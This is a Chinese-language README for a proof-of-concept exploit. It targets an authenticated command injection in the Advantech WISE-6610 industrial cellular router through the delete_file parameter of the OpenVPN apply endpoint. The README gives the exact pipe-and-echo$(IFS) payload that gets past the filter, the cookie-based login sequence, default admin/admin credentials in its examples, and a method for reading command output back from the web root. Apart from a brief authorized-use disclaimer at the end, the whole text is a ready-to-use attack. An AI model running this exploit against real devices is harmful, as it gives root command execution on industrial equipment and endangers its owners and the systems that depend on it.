概念验证漏洞利用程序,演示 Advantech WISE-6610 工业蜂窝路由器中的命令注入漏洞。
该漏洞存在于 /cgi-bin/luci/admin/openvpn_apply 端点中,允许已认证的攻击者执行任意系统命令。
WISE-6610 Web 界面在处理 OpenVPN 配置删除时,未正确清理 delete_file 参数。
具有有效凭据的攻击者可以使用管道符(|)后跟命令以及终止用的 echo$(IFS) 序列来注入 shell 命令,从而绕过输入过滤。
注入的命令以 root 权限执行。
requests 库安装依赖:
pip install requests
选项 描述
--target 设备的基础 URL(例如 http://192.168.1.100:8444)
--cmd 要执行的命令。必须将输出写入 Web 根目录内的文件(例如 id > output.txt)
--output 输出文件的 Web 路径(例如 /output.txt)。必须与 --cmd 中使用的文件名一致
--cookie (可选)现有的 sysauth 会话 cookie 值
--username (可选)用于登录的用户名
--password (可选)用于登录的密码
--delay 检索输出前等待的秒数(默认:2)
--debug 启用详细的请求/响应日志记录
该脚本支持两种认证方式:
提供现有的 sysauth 会话 cookie
使用用户名和密码登录
基本语法
python3 exploit.py --target <URL> --cmd <COMMAND> --output <OUTPUT_PATH> \
[--cookie <SYSCOOKIE> | --username <USER> --password <PASS>] \
[--delay <SECONDS>] [--debug]
1️⃣ 使用预认证 Cookie
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'id > output.txt' \
--cookie f417ce7d2d576017ff5fd81d7d5f555f \
--output /output.txt
2️⃣ 使用凭据登录
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'echo "pwned" > output.txt' \
--username admin \
--password admin \
--output /output.txt
3️⃣ 启用调试输出
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'uname -a > output.txt' \
--username admin \
--password admin \
--output /output.txt \
--debug
向 /cgi-bin/luci/ 发送 GET 请求,以获取认证所需的 luci_nonce cookie。
如果提供了凭据,脚本将向 /cgi-bin/luci/ 发送 POST 请求,携带 luci_username 和 luci_password 以获取 sysauth cookie。
如果通过 --cookie 提供了有效 cookie,则跳过此步骤。
向以下地址发送 POST 请求:
/cgi-bin/luci/admin/openvpn_apply
携带以下参数:
act=delete
delete_file=123123|<command> echo$(IFS)
openvpn_id=1
echo$(IFS) 序列有助于终止注入的命令并绕过输入过滤器。
在短暂延迟后,脚本尝试从指定的 --output 路径检索生成的文件。
本工具仅供教育目的和授权安全测试使用。
未经授权对您不拥有或没有明确测试许可的系统使用本工具属于违法行为。
作者对本软件造成的滥用或损害不承担任何责任。